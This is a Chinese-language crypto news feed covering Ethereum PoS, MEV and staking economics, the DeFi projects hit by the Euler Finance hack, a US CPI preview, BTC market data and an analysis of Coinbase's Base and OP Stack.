矿池转型也是PoS机制可能带来的影响之一。由于矿池可能会把自己看作一个独立的节点，这将导致大型矿池拥有大量的权力，从而获取更多的交易费。验证者的话语权诱惑导致矿池和超级节点都在寻求提供诱人的质押服务以吸收更多的ETH持有者锁定他们手中的ETH，这对以太坊的生态长期活力是否有所抑制还需要更长期的观察。 此外，以太坊的POS提款流程可能面临着一些复杂的问题。其中，社会化均摊和时间周期错配是造成问题的主要原因，这可能会导致不同的套利/攻击行为。在提款开放后，一些协议的设计不佳可能会导致“被黑”的情况。在这种情况下，可能会出现以下几种套利/攻击行为： Source: mevwatch.info 因此，为了防止这些问题的出现，需要对以太坊的POS提款流程进行充分的安全性评估和风险控制。同时，需要在设计协议时考虑到各种套利/攻击行为，并采取相应的防范措施。如果在短期内质押机制没有更新或者改变，那么在MEV赛道的确定性收益仍然属于那些头部质押协议和超级矿池，这块肥肉所产生的收益吸引力只能通过这些大型服务商或者协议才能传导给以太坊的中小型投资者。 建造者（block builder）在竞标区块时，他们保留的MEV会直接影响他们的出价大小。为了赚钱，建造者需要赢得一些高价值的区块，但大部分时间他们只是勉强收支平衡或者亏损。有些赚钱的建造者可能会得到私人订单流。同时，建造者可以通过向自己的出价中增加资金来提高区块的被选中率，以此增加订单流和赚取更多利润。也就是说，这些区块建造者和矿池正在以太坊持有者和黑暗森林之间建立起一道屏障，短期来看是好的，长期来看似乎有些死气沉沉。 以太坊 PoS 机制中存在一个验证者悖论问题，即为了参与验证，验证者需要锁定代币，并在未来的某个时间点释放代币。如果无法解锁，那么 PoS 算法就变成了单向过程，没有人愿意参与这样的算法。因此，一旦代币被释放，共识层面设置的惩罚对验证者就不再有任何约束力。在这种情况下，以太坊 PoS 算法的惩罚约束机制就无法限制验证者行为。 以太坊 PoS 算法在共识验证上的开销会随着验证者数量的增加而增大。这是因为在 PoS 中，每个验证者都对应一个状态。如果有 100 个验证者，就有 100 个状态，1 千个验证者就有 1 千个状态，1 万个验证者就有 1 万个状态。这一点对以太坊节点的运营成本有深远的影响。以太坊 PoS 算法在本质上将验证者的状态与普通用户的状态分开，验证者依然是带状态的。每个参与共识的节点都是带状态的，这会导致状态膨胀问题，从而引起验证的开销不断升高的问题。 验证者数量越多，验证效率会变得更差，因此需要进行限制。另外，PoS 算法中出块者需要持续跟其他人保持通信，并收集其他见证者发过来的签名，这会导致大量通信开销。此外，其他见证者不知道签名收集人的网络地址时，也要洪范式地发送签名，进一步增加通信开销。这些问题都会对以太坊节点的运营成本造成影响。 以太坊区块空间的中心化垄断问题令人担忧，因为在中继审查之外，区块建设活动很可能会集中在少数专业实体中。验证者拥有构建、提议和验证区块的特权地位，这是一项资源密集型活动。验证者必须在极短的时间内运行多种不同的区块模拟，以确定最大化区块奖励的区块。这使得大型、复杂的质押池具有优于独立验证者的优势，因为前者可以投资于最好的区块构建解决方案。然而，这会使 MEV 成为以太坊的中心化力量。为了避免这种情况的发生，MEV-Boost 将区块构建活动与验证者分开，验证者是 PoS 下的区块提议者。 然而，将区块构建活动外包给第三方砌块建设者意味着砌块建设者市场仍有可能变得中心化。为了减轻构建器集中化的负面外部性，Flashbots 对 MEV-Boost 软件进行了一些小的调整，其中最值得注意的是，验证者能够对他们从中继收到的区块设置最低出价。通过将最低出价设置为零以上，如果第三方构建者构建的区块的奖励不超过某个阈值，验证者节点运营商可以从以太坊内存池本地自动构建区块。 Source: Dune 目前，由于日益激烈的构建器竞争，Flashbots 构建器的主导地位正在逐渐减弱。此外，以太坊核心开发人员和 Flashbots 团队正在讨论其他一些解决方案，以进一步减轻区块构建器中心化的负面外部性。以太坊核心开发人员还致力于对以太坊引擎 API 进行调整，以帮助验证者更轻松地比较本地构建的区块和第三方构建者构建的区块的奖励。这些调整有助于降低 Flashbots 构建器的主导地位，从而缓解区块构建器集中化的风险。 总体来说，以太坊合并后MEV的发展趋势需要解决审查和构建者中心化的问题。虽然已经采取了一些措施，但仍需要不断努力。同时，建立分散的构建者网络也是长期解决问题的重要方向。 MEV主要包括三种形式：1. DEX无风险套利；2. 借贷中的清算；3. 三明治攻击。DEX无风险套利是通过利用链上数据，结合DEX中的价差和闪电贷进行套利。借贷中的清算则是通过查询链上数据，确定哪些借款人可以被清算，进而获取清算费用。而三明治攻击则是一种可以用于控制价格的交易攻击，通过利用高速提交交易并优先选择交易顺序，从而获得较大的收益。虽然MEV存在失败的可能，但从数据中可以看到，失败成本微乎其微，因此这种策略仍然非常受欢迎。 随着越来越多的用户进入MEV市场，市场的竞争也变得越来越激烈。Seacher的利润开始被降低，Producer的利润开始升高。此外，虽然MEV市场也存在于其他链上，例如BSC、Avalanche等，但这些链的竞争相对较弱，而且天花板也相对较低。因此，可以预见未来以太坊MEV市场的竞争将更加激烈，而市场的格局也将随之发生变化。 Source: rated.network 笔者认为，投资MEV相关的项目，首选具有提供质押服务能力的加密货币交易所或质押池实体。这些实体通过为用户提供存款收益和为验证者技术设置中的故障提供保险来提供质押服务。此外，投资机构可以考虑投资MEV Searcher，这是一种专注于利用MEV的策略进行交易的实体。然而，由于越来越多的新人开始进入这个领域，原来寡头竞争的Searcher逐渐变成了完全竞争，超额收益大大降低。 因此，投资机构需要仔细考虑潜在的风险和回报。以太坊合并后，MEV的发展趋势面临两大问题：审查和构建者中心化。对于这些问题，可以关注一系列解决方案。随着PBS的正式落地，将不存在中继的问题。提议者和构建者之间的分离将直接内置到以太坊协议中。验证者将能够添加“审查抗性列表”来强制构建者包含交易。但是需要注意的是，即使出现构建者寡头，审查的风险也不会完全消除。 长期内，那些真正有助于建立一个分散的构建者网络的项目值得关注，其中不仅有很多构建者，而且构建者会共同合作，每个构建者构建部分块以组合成一个完整块。 随着以太坊采用PoS（权益证明）共识机制，其协议也面临着集中化和单点故障等问题。DVT（分布式验证器技术）提供了一种解决方案，可以通过分散验证器的职责和私钥，提高以太坊验证器的容错性和分散化程度。PoS机制的奖励方式会使权益（抵押）越多的验证者得到更多的奖励，导致可能存在权力集中的风险。其次，PoS机制要求验证者使用单一机器签名两个密钥，这可能导致单点故障的风险。DVT通过使用分布式密钥生成、多方计算、Shamir的秘密共享和拜占庭容错算法等技术，将验证器职责分布在多个节点之间，从而解决了PoS机制的这些问题。 Source: ssv.network DVT具有显著的优势。DVT采用分布式密钥生成技术，将验证器私钥分散在多个节点上，从而减少了单点故障的风险。此外，DVT采用多重签名系统，可以将验证器职责分散在多个计算机上，提高了容错性和分散化程度。DVT为以太坊验证器提供了更高的容错性和分散化程度，一定程度上解决了PoS机制面临的部分问题。 对于DVT项目，值得关注的特征包括：首先，具有完全去中心化的架构，使用密钥共享技术和MPC阈值方案来管理验证器网络。其次，具备多样化的验证器客户端，以降低单点故障风险，并提高容错率。此外，还需要有健全的激励机制，以吸引节点运营商参与验证网络的运营，同时保护运营商的权益。 随着一些质押服务协议的壮大，我们将看到这一领域成为以太坊的卡脖子入口。散户投资者将基于去中心化质押协议开放更多的交易托管授权。诸如Lido此类的协议只要能够保证足够的安全，未来会衍生为围绕以太坊的巨型金融托管机构，由此将产生更多复杂的针对不同体量用户的金融服务。 Lido等stSaaS质押服务协议的推出，为更多用户提供了参与POS质押的机会，Lido的质押价值已经达到59亿美元，超过了MakerDAO成为了DeFi生态中TVL最高的协议。成为一个原生的质押节点需要通过准入和锁仓门槛，并安装DAppNode运行。此外，节点可靠性对奖励和节点在线的时间有很大影响。 这些门槛使得原生质押模式不适合所有用户，于是衍生出了其他三种质押模式：质押即服务（stSaaS）、联合质押和中心化交易所。stSaaS模式将质押和节点运营拆分开来，用户只需存入32个ETH，将节点运营交给质押服务提供商，例如Lido。这种模式为用户提供了更便捷的参与POS质押的方式。 Source: Tumilet 中小型中心化交易所可以通过与Lido、stSaaS和其他DeFi协议进行合作和竞争，以提高其交易所的吸引力和竞争力。通过提供更多的金融服务和Staking选择，中小型中心化交易所可以吸引更多的用户和流动性，并在竞争激烈的市场中立于不败之地。以下是一些合作和竞争策略： 再质押方案也为以太坊生态带来了新的机遇。该方案能够将以太坊、lsdETH及LP代币质押在其他公链、预言机、中间件作为节点并得到验证奖励，以释放ETH共识层的安全性。再质押方案具有多条叙事逻辑加持，包括ETH共识层扩容、盘活LSD资产、捕获真实收益，为ETH生态下次牛市的重要推手。然而，该方案也存在一些不足之处，需要关注其上下游赛道、收益率下降等问题。 以Eigenlayer为例，其再质押方案通过质押“类ETH价值资产”成为验证节点，以质押罚没的“暴力手段”借用主网的安全性。ETH网络共识层安全性由质押资金“潜在罚没风险”保障，即我们常说的暴力手段维系安全性。因此，该方案充分利用了ETH最大的优势 — — 安全，将ETH共识层的效用向外拓展，类似于Cosmos2.0的共享安全叙事。这为ETH生态的下一轮牛市带来了新的机遇。 Source: Messari Eigenlayer的再质押方案可以作为LSD叙事的延续。尽管上海升级后会带来ETH总质押量的上升，但这是存量市场。因此，应更关注其上下游赛道，上游DVT，下游聚合器、lsdETH再质押。此外，lsdETH在DeFi中充当借贷资产>交易资产，其杠杆后的收益上限也有限，且收益率会随着TVL规模逐渐下降，因此需要外部收入支撑如此大的锁仓量。Eigenlayer的再质押方案可以为LSD资产带来更高的价值。 以太坊的区块生产者角色正在快速发展，随着社区活动的增加，它们的责任和义务也随之增加。PoS共识机制的实施将对矿工收入产生深远影响，尤其是区块奖励和交易手续费的减少。然而，PoS机制可以创造以太坊的通缩条件，增加网络安全性，改善网络拥堵情况。与此同时，MEV在以太坊PoS生态中具有重要的作用，可以提高DeFi的效率和吸引更多的参与者。 对于投资MEV相关项目，建议关注提供质押服务的加密货币交易所或质押池实体。这些实体可以通过为用户提供存款收益和为验证者技术设置中的故障提供保险来提供质押服务。此外，机构可以考虑投资有助于建立真正分散的构建者网络的项目。 我们认为以太坊的利益格局趋向明晰，验证者的存在感开始超过矿工。Flashbots Relay等审查节点在以太坊区块空间中的依赖导致审查问题，且目前解决方案仍未能明显降低其主导地位。矿池垄断也可能出现，验证者和超级节点吸收ETH持有者锁定资产，生态活力或受抑制。以太坊的PoS提款流程可能会面临复杂的问题，导致不同的套利/攻击行为，如监控PoS网络罚没情况抢跑二级市场stETH等。需重视这些问题对以太坊生态的影响。 我们也看到，stSaaS模式为用户提供了更便捷的参与PoS质押的方式。中小型中心化交易所可以通过与Lido、stSaaS和其他DeFi协议进行合作和竞争，提高其交易所的吸引力和竞争力。在质押方面，Lido等stSaaS质押服务协议的推出，提供了更便捷的参与PoS质押的方式，中小型中心化交易所可以通过与这些协议进行合作和竞争，以提高其交易所的吸引力和竞争力。建议中小型中心化交易所接入Lido，将其作为其ETH和其他PoS代币的质押选择之一，以提高交易所的流动性和安全性。同时，中小型交易所可以通过提供更多的LSD金融服务和Staking选择来吸引更多的用户和流动性，并在竞争激烈的市场中立于不败之地。  ( 21 min )
    视频｜USDC危机解除？美国救市比特币暴涨！到底发生什么事，你学到了什么？
    硅谷银行陨落，如何影响加密圈？ PANews专题入口： https://www.panewslab.com/zh/topiclist/1BC0yC.html PANews PARTY AWARD 2023 年度评选投票： https://www.panewslab.com/party/2023/vote 哪些DEX在“USDC危机”中大赚了一笔？  https://www.panewslab.com/zh/articledetails/tkdfv2w7.html 面对“USDC脱锚危机”，知名大户们是如何操作的？  https://www.panewslab.com/zh/articledetails/t6qyqtcm.html  ( 4 min )
    DeFi可组合性的潘多拉魔盒：Euler Finance被攻击，这11个DeFi项目遭受损失
    Euler Finance是DeFi Summer之后少有的具备创新的DeFi项目，它根据资产风险的不同，将资产分成不同的层级（Tiers），每一层的资产具有不同的借贷权限。3月13日，Euler Finance遭到黑客攻击，损失约2亿美元的资金。 Euler作为底层的借贷协议，安全性更值得关注。因为DeFi的可组合性，本次攻击也给其它多个DeFi项目造成数千万美元的损失。 Angle Protocol Angle Protocol是一个去中心化（非美元）稳定币项目，现在主要是欧元稳定币agEUR。在Angle Protocol中铸造agEUR稳定币有两种方式，通过核心模块以USDC等稳定币按1:1的价值进行兑换，价格波动的风险由杠杆交易汇率的对冲代理进行对冲；通过借贷模块则以WETH等资产为抵押品，超额抵押进行铸造。 为了增加项目盈余、激励SLP和veANGLE的持有者，Angle根据Yearn的设计开发了收益策略，将核心模块中铸造agEUR的抵押品USDC、DAI等用于获得收益，如下图所示，Euler是收益策略资金的重要去处。 Angle预估在黑客攻击中损失1761万美元的资金，虽然此前项目中有558万美元的盈余，但依然不够进行赔付，agEUR持有者、流动性提供者、对冲代币的资金将看成一个整体，按比例进行赔付。通过借贷模块铸造agEUR的用户仍然可以偿还借款，赎回抵押品。 Balancer Balancer是一个DEX，在本次Euler的攻击中因为bbeUSD（Euler Boosted USD）损失1190万美元。 Boosted Pools是Balancer在2021年12月推出的一项创新，可以提高LP的收益率，也能方便用户进入或退出Aave等协议。Balancer会将Boosted Pools中的一部分资金存入Aave或Euler等借贷协议，剩余部分资金可方便用户交易。 在Balancer Boosted Euler USD池中，用户可以存入USDT、USDC、DAI三种稳定币，Balancer将这些资金存入Euler，并为用户发放LP代币bbeUSD。和Curve的3pool这样的Base Pool一样，bbeUSD也可以在Balancer中和其它代币组成交易对，并获得流动性挖矿奖励。 Balancer在促进bbeUSD使用的同时，也加大了本次受损失的金额。除了Balancer Boosted Euler USDC池本身之外，使用bbeUSD的wstETH/bbeUSD、rETH/bbeUSD、TEMPLE/bbeUSD、DOLA/bbeUSD四个交易对的LP也只能赎回部分资金。 Idle Finance Idle Finance是一个收益聚合器，提供三种收益策略：Best Yield、Senior Tranches和Junior Tranches。Junior Tranches由于风险和收益率更高，当发生安全事故时，可能需要先于Senior Tranches承担损失。 从官网数据看，Idle Finance将DAI、USDT、ETH等资金存入了Euler、Morpho、Lido等项目中，自动获得收益，并将收益复投。由于Idle Finance会尽可能选择收益率较高的策略，Euler Finance是Idle Finance的重要合作伙伴，目前并没有将资金直接存在Compound和Aave等经过更长时间检验的项目中。 Idle Finance称，Best Yield Vault和Yield Tranches对Euler Finance的敞口分别为532.71万美元和566.28万美元，共计约1099万美元。 Yield Protocol Yield Protocol是一个固定利率借贷协议，采用类似于零息债券的方式。存款人会收到一种ERC20代币fyTokens，可以在到期日后1:1地赎回基础资产。到期之前，fyTokens可以折扣价交易。 Yield Protocol的流动性池建立在Euler之上，其中部分资金存入了Euler，部分资金持有fyTokens。存入Euler的部分受到影响，预计在Euler被攻击前的存款少于150万美元。而借款人的抵押品因为保存在Yield Protocol中，未受到影响。 Yearn Yearn是一个收益聚合器，将资金集中起来投向特定的策略。Yearn在推特上表示，yvUSDT和yvUSDC因为使用了Idle和Angle的策略，对Euler共有138万美元的风险敞口。 产生的坏账将由Yearn Treasury承担，所有的Vault仍然正常开放。 Harvest 和Yearn类似，Harvest也表示USDC、USDT、WETH Vault因为使用Idle而受到影响。目前Harvest并未说明如何处理，且提醒用户在问题解决前不要与这些Vault进行交互。 Inverse Finance Inverse Finance的主要产品为美元稳定币DOLA，另外还有固定利率贷款市场FiRM和代表借款权的DBR。 如前所述，由于DOLA在Balancer上的流动性在DOLA/bbeUSD交易对上，因此遭到损失。Inverse Finance表示尽管和Balancer采取了积极措施减轻了损失，DOLA Fed在其中也损失了86万美元的资金。 SwissBorg SwissBorg是一个加密资产管理平台，获得了瑞士、法国和爱沙尼亚的监管和许可。它自身有一款SwissBorg app，可以通过这款移动钱包获得收益。 SwissBorg表示，Earn策略中的ETH和USDT遭到了部分损失，包括1617.23 ETH和约169万USDT，分别占认购资金的2.27%和29.52%。SwissBorg将承担所有损失。 Opyn Opyn构建了第一个去中心化期权协议，并开发出了永续期权Opyn Squeeth，在Suqeeth上构建了多种收益策略。 本次Opyn受到影响的是Zen Bull策略，这个策略结合了Crab策略和ETH杠杆多头头寸，适合ETH价格呈上升趋势的低波动市场。 由于该策略需要抵押资产通过杠杆购买ETH，可能是在Euler中进行抵押借贷，导致损失。Opyn目前并未公布受损失的金额和处理办法。 Sherlock Sherlock是一个DeFi安全提供商，可提供智能合约审计和保险服务。Euler在刚推出时就和Sherlock达成了1000万美元的合作伙伴关系，Sherlock负责审计Euler的智能合约，并为Euler提供保险。 在Euler被攻击后，Sherlock已经通过了对Euler赔付450万美元的投票，且已执行了330万美元的赔款。 Sense Finance Sense Finance是一个固定利率借贷协议，其中可以交易Idle等的固定收益资产，间接受到影响。  ( 5 min )
    币安将从5月22日起停止所有用户的英镑转账
    PANews 3月14日消息，据金十报道，币安发言人表示，币安将从5月22日起停止所有用户的英镑转账。 今日早些时候报道，币安将于5月22日暂停所有用户的英镑存取款服务。  ( 4 min )
    硅谷银行引发金融巨震，今晚美国CPI会是下一个雷吗？
    来源：财联社 编辑：潇湘 过去一周围绕硅谷银行破产牵连出的银行业“黑天鹅”，震惊了全球金融市场，今晚即将出炉的美国2月CPI数据，似乎骤然间陷入了一个“较为尴尬的境地”——很多人会产生这样的疑问，这个过去一年美国资本市场上最受关注的宏观经济指标，眼下究竟还重要吗？ 放在一周前，这个问题的答案显然没有什么悬念：在过去一年里，动荡的行情走势几乎就不曾在美国CPI数据发布日“缺席”。一组历史统计显示，标普500指数在过去一年CPI发布日的平均上下波动幅度达到了1.8%，而日常的平均水平仅为1.2%。 但是，曾经备受瞩目的美国非农就业数据，在硅谷银行周末破产时的影响力几乎“哑火”后，人们或许已很难对今晚的CPI数据，能掀起多大浪花抱有太多的期待…… Interactive Brokers首席策略师Steve Sosnick就表示：“日常的统计数据，即使是像CPI这样重要的数据，在银行业危机面前可能也将退居二线。” 上周，全美排名第16的硅谷银行在短短不到40小时里就从暴雷走向了破产。随后，全美排名第29位的Signature银行也被监管机构宣布关闭。至此，整个华尔街在三天内见证了历史上第二大和第三大规模的银行倒闭事件。 这些事件毫无疑问已经促使交易员开始重新计算，美联储接下来为抑制通胀而需进行的加息幅度和步伐。 PIMCO(0,0.00,0.00%)策略师Daniel Ivascyn周一就表示，美联储最早可能在本月暂停加息，高盛(315.51,-12.16,-3.71%)集团的经济学家也扬言，他们不再认为美联储将在3月份的会议上加息。 这标志着市场预期出现了重大变化。要知道，就在美国银行(28.51,-1.76,-5.81%)业动荡发生几天前，美联储主席鲍威尔在国会听证会上几乎已相当于暗示，联储可能在下次会议上加息多达50个基点。 可以肯定的是，一些投资者已表示，当前金融市场的焦点可能不会再单单停留在经济数据层面上了。“近期内，像银行挤兑或流动性事件这样潜在的系统性问题，将取代经济数据”，John Hancock投资管理公司联合首席投资策略师Matt Miskin就在周一的报告中写道。 Horizon Investment Services首席执行官Chuck Carlson也指出，当前银行业的进展情况可能将盖过“基于CPI数字”引发的市场波动。Carlson在谈到CPI时表示，“除非今晚数据出现一个重大的异常值，否则我认为数据不会产生太大的影响。” 当然，话又说回来，虽然今晚的CPI数据在当前特殊的市场背景下，不太可能再出现像过去一年那样大的行情影响力。但是有鉴于这一指标的发布窗口正好处于美联储议息会议前一周，其仍可能成为当前市场利率定价的一块关键“压舱石”。 不难想见的是，哪怕今晚的CPI数据再如何超预期，都不太可能令已经消失的3月加息50个基点的预期死灰复燃。但是，这一数据仍可能会影响到美联储下周究竟加不加息之间的微妙“天平”。 根据芝商所美联储观察工具当地时间周一的最新定价显示，市场交易员预计美联储下周加息25个基点的概率为71.6%，不加息的概率为28.4%。 加息与不加息之间目前约“七三开”的分布，其实并不算已经提前锁定了下周真正的利率定价。最重要的是，有鉴于美联储官员目前已经处于了3月议息会议前的噤声期，他们如果想要通过市场上的“喉舌”来影响利率定价，那么在CPI数据真正尘埃落定后，无疑是一个相对最好的窗口。 在过去几天，利率市场的加息押注几乎就如同断崖式跳水一般，这在银行业爆出惊天大雷的背景下并不算一件特别意外的事。但真正重要的是，在市场逐渐冷静下来之后，利率市场的定价究竟会稳定在哪里，而今晚CPI数据公布后的具体报价，显然就格外关键。 外汇资讯机构Forex.Com指出，最近的市场波动在一定程度上抢了美国CPI数据的风头，但周二最新的CPI仍将是市场的主要推手。通胀从9%下降到6%，对政策制定者来说总是相对“容易的部分”；未来的一个大问题是，美联储能否在不“破坏”经济的任何其他方面的情况下，推动物价持续下降。 Greenwood Capital首席投资官Walter Todd则指出，一份热门的消费者价格报告总是会给市场带来问题，而现在人们又在等式中加入了金融稳定动态，这进一步令美联储的工作复杂化了。 一些业内人士已提醒，如果周二的通胀数据超出市场预期，依然可能会提醒美联储观察人士和投资者，美联储决策者抗通胀的“终极使命”尚未完成。 LH Meyer/Monetary Policy Analytics 的经济学家在给客户的一份报告中写道，“这些（银行业）事件会让人更加谨慎，但这依然必须与新近恶化的通胀形势进行平衡。虽然3月加息50个基点的可能性已大幅下降，但我们相信FOMC最终仍会加息。” 需要提醒投资者的是，由于美国已经正式进入了夏令时，因此今晚的美国2月CPI数据于北京时间20：30就将出炉，相较过去几个月数据的发布提前1小时。 目前权威媒体的调查预计，美国2月CPI年率料增长6.0%，增幅低于1月的6.4%；2月CPI月率料增长0.4%，此前1月为增长0.5%。 （主流投行CPI预测） 在剔除食品和能源的核心数据方面，美国2月核心CPI年率料攀升5.5%，升幅略低于1月的5.6%；美国2月核心CPI月率料增长0.4%，增幅与1月相同。 从整体来看，今晚美国CP同比I数据依然有望延续去年9月以来的见顶回落势头，但具体数据表现究竟会比预期更高还是更低，尚是未知之数。 在上月因精准预测到美国1月CPI超预期而大出风头的克利夫兰联储的Inflation Nowcasting（通胀临近预测）模型，目前预计2月份CPI同比涨幅将来到6.21%，环比增至0.54%。这预示着单就克利夫兰联储的模型来看，今晚CPI较市场主流预期存在上行风险。 在投行预测方面，高盛预计美国2月核心CPI月率将较1月进一步上升：高盛预计美国2月核心通胀将环比上升0.45%（市场一致预期为0.4%，1月核心CPI月率为0.41%），同比上升5.56%（市场一致预期为5.4%）。 具体分项来看，高盛预计主要住所租金和业主等价租金通胀月率将从1月的0.74%和0.67%，分别下降至0.62%和0.59%；二手车通胀月率将从1月的-1.9%转为0.5%；公共交通通胀月率将从1月的-1.8%跳升至5.9%。 加拿大皇家银行(95.62,-0.62,-0.64%)分析师则预计，今晚通胀报告将显示，美国2月份整体CPI同比增速将降至5.9%，低于1月份的6.4%，这在很大程度上得益于能源和食品价格的回落。其他商品和服务的通胀压力也在小幅下降，不过最近几个月的通胀粘性比预期的要大。 加拿大皇家银行指出，“我们预计2月份的数据看起来会更好，核心CPI同比将从1月份的5.6%降至5.4%。强劲的美国劳动力市场数据表明，2023年年初经济增长势头强劲，而更棘手的通胀数据则表明，美联储可能需要更长的时间才能回到2%的目标。这将为美联储进一步加息提供理由。” 富国银行(38.41,-2.95,-7.13%)则在近期报告中指出，“我们预计2月份总体CPI将再次月度上涨0.4%，这将使同比增长率达到6.0%。我们仍然预期通胀将逐渐走低，但这个过程可能是坎坷的，尚需时日。尽管在过去几个季度中出现了一些方向性改善，但物价仍远高于美联储2%的目标，而且劳动力市场紧张表明仍然存在通胀压力，可能会阻止通胀全面回归2%。” 此外，德国商业银行表示，“2月份，尽管总体通胀率可能从6.4%降至6.1%，但核心通胀率可能仅从5.6%略微降至5.5%，因此仍然过高。核心指数的环比增长率为0.5%，可能再次高于平均水平。从美联储的角度来看，这样的报告可能无法为美联储主席鲍威尔确定的反通胀过程，提供足够令人信服的支持，因此会支持再次加息。”  ( 4 min )
    PAData：近期BTC投资回报表现高于黄金，与美元指数相关性减弱
    PANews3月14日消息，受到USDC重新回锚的影响，BTC也在下跌后快速回升。根据CoinGecko的数据，当前BTC的价格约为24305美元，较3月11日的20195美元短期低点上涨了20.35%，最近24小时上涨超9%，涨幅明显。 受此影响，当前处于盈利状态的代币占比也同步增长。根据glassnode的数据，3月13日处于盈利状态的代币数量占流通总量的比重约为73.42%，接近今年的最高占比。 在外部金融环境多变的背景下，与作为传统避险资产的黄金相比，近期BTC的收益表现更好。根据intotheblock的数据，将黄金和BTC在最近3个月内的价格表现以同样的基点进行标准化度量后（从0开始），当前，BTC的价格表现为39.36%，而黄金的价格表现为7.57%，同期BTC的数值更大，即BTC的投资回报率更高。 不过，与过去BTC与美元指数的价格表现高度负相关（即美元指数走弱时，BTC走强）相反，当前两者的相关系数仅为-0.28，基本不相关。且从趋势来看，今年2月份以来，BTC与美元指数的价格表现相关系数在±0.3区间内波动，即两者相关性逐渐减弱至基本不相关。 就加密市场本身而言，值得关注的一个趋势是，近期长期持币（超过155天）收益相对于短期持币（超过1小时但小于155天）收益有所增长。根据CryptoQuant的数据，3月13日SOPR比率（长期SOPR/短期-SOPR）约为0.96，不到1意味着当前仍然是短期持币收益占优，不过从7天均值的走势来看，今年以来，SOPR比率就处于显著的上升趋势中，即处于长期持币收益不断增强的趋势中，这或意味着市场正在转向α逻辑。  ( 4 min )
    Coinbase的Base你真的了解么？一文带你揭秘那些没有公开的技术细节
    近日，著名交易所Coinbase发布新闻，宣布上线自己开发的以太坊第二层扩展系统Base[1]。该消息旋即在业内引发热议和讨论。 根据Coinbase的官方通稿[1]，目前上线的Base版本为其测试网，该系统基于Optimism[2]的OP Stack[3]技术开发。 然而目前热议和讨论较为集中的点主要在其商业布局和生态规划，对其技术架构特点的讨论尚不多见，或有但也仅限于较为表层的论述。 Fairyproof技术团队尝试从Base所基于的技术栈OP Stack探讨Base系统的特点及其在安全方面值得关注的要点。 首先我们看看OP Stack技术栈的一些基本特点。 OP Stack是Optimism团队开发的用于构建第二层扩展系统的一个技术栈。其架构图如下所示：   官方文档[3]对这个技术架构进行了解释，我们认为比较重要的特点有如下几点： 1. OP Stack的技术迭代及兼容性 这个技术栈按照Optimism官方的说法分为两阶段实现，第一个是现阶段的Bedrock，第二个是下阶段的Superchain。架构图中用圆圈标注的组件按照Optimism的官方说法是提议开发的，故而较大可能是现在正在开发而在下一阶段即Superchain阶段要发布的组件。 虽说这套技术栈的迭代分了两个阶段，但根据官方文档描述，现阶段实现的Bedrock版本将能很好地兼容下一阶段的Superchain版本。 然而官方文档中也提到，开发者可以对基于Bedrock的OP Stack代码进行修改，开发定制化的第二层扩展方案，但这套定制的第二层扩展方案却有可能无法与未来的Superchain兼容。那么到底对OP Stack的哪部分组件或架构进行定制化修改会产生兼容性方面的问题呢？官方文档却没有详细描述的描述。 对区块链系统而言，保持运作和技术架构方面的去中心化对其整体安全而言是具有重要意义的。在比特币的白皮书中，中本聪就将去中心化放在了极其重要的位置。因为这是保证系统避免单点失效和受到攻击的一个重要措施。 根据OP Stack的官方文档，当前的实现方案在两方面存在中心化运作的问题，一个是交易的排序（Sequencing），另一个是验证者（Attestor）的遴选。 在OP Stack架构中，目前存在中心化运作的环节主要在交易的排序（Sequencing）。这个工作是由排序器（Sequencer）完成的。 在当前OP Stack的实现中，排序器（Sequencer）默认的设置为只有一个排序器，它为整个Optimism系统中的交易进行排序。这显然是较为中心化的运作方式。 除此以外，官方文档还提到有另一种方式是从多个排序器中选取一个执行交易的排序任务。这是未来Superchain系统旨在实现的方案。这个方案如若实施则可以进一步去除排序中存在的中心化运作问题。 除排序之外，验证者机制中也存在类似问题。 OP Stack当前实现的是错误证明（Fraut Proofs）机制。在这种机制中，当超过一定阈值的验证者（Attestor）提交的状态证明和系统向以太坊提交的状态不吻合时即可证明系统向以太坊提交的状态无效。 然而在OP Stack的官方文档中，并没有提到这些验证者（Attestator）是预先选定的还是可以无需许可任何人都可以参与的。 我们预估大概率目前的验证者是由团队预先选择的。如果是这样，则当前的验证者也存在中心化运作的问题。 对此，团队提出未来建议实现的方案是“Fault Proof Optimistic Settlement”。官方文档中说这个机制采用了无需许可的验证机制，但具体是如何实现的则没有公布细节。 在当前流行的两大Rollup方案中，无论是Optimistic还是ZK，它们都需要向以太坊主网提交证明。前者提交的是错误证明（Fault Proofs或Fraud Proofs），后者提交的是有效证明（Validity Proofs）。 在OP Stack中，证明的实现实在清算层（Settlement Layer）完成的。当前实现的证明是错误证明方案（Fault Proofs），更具体地说，是基于Attestation的错误证明（Attestation Based Fault Proofs）。 但是在Optimism团队的规划中，未来这部分也可以支持有效证明（Validity Proofs）。至于什么时候会支持有效证明，根据官方文档，需要等到基于零知识证明的ZK方案成熟之后。 由此可见，OP Stack在这方面为可扩展性留下了想象空间，未来的Optimism系统（Superchain）是有可能同时支持两种证明方案的。 OP Stack在其官方文档中对第二层扩展系统的可靠性提出了两个衡量标准：安全性（Security）和活跃度（Liveness）。 系统的安全性由证明系统来保证，系统的活跃度由第二层系统是否能正常向（以太坊）主网提交交易来衡量。 在基于OP Stack架构的系统中，当排序器（Sequencer）无法正常工作时，为了保证第二层系统仍然可以正常向以太坊主网提交交易，系统是支持寻找其它可正常工作的Sequencer提交交易的。 在更加紧急的情况下，当第二层系统连结以太坊主网的桥接功能被冻结时（即系统的活跃度无法保证时），用户在区块链主网的资产会被冻结。这是为了保证即便在活跃度失效的情况下，用户的（资产）安全仍然能得到保证。 这体现了团队对于安全性和活跃度两者进行权衡的结果：安全性要高于活跃度。 在架构图中有一个层是治理层（Governance Layer）。这个治理层在官方的规划中是一个去中心化的安全委员会（decentralized security council）。这个委员会未来可以更新Superchain中每个Chain的Attestators、升级合约、紧急暂停Superchain的桥等功能。 这个委员会有着强大的控制权。 但是这个委员会如何组件、如何运作在当前的官方文档中没有透露更多细节。 我们认为在这个委员会中使用链上的多签钱包或者链下的MPC技术以防止权限外泄或入侵可能是项目方会采用的方式。 以上罗列的几点是我们人为OP Stack技术栈中比较重要的特点和要素。由于Base系统将基于OP Stack构建，因此Base系统也将继承上述特点。但除此以外，我们认为Base系统中也有一些特殊的细节值得探讨。 因此接下来，我们再看看Base系统中某些特殊的细节及可能的实现方案。 根据Coinbase发布的官方文档[1]，我们着重比较关注下列几点： 一Base系统中费用的支付币种 Coinbase在官方文档中公开表示系统未来不会发行代币，但系统及其运行在系统中的各种应用向以太坊主网提交交易时是要向以太坊支付手续费的。因此那最直接、最简便的方式就是向运行在Base上的应用收取ETH以支付以太坊的手续费。因此，未来当项目方在Base上部署应用或者用户和Base上的应用交互时支付的费用将很有可能是直接支付ETH。 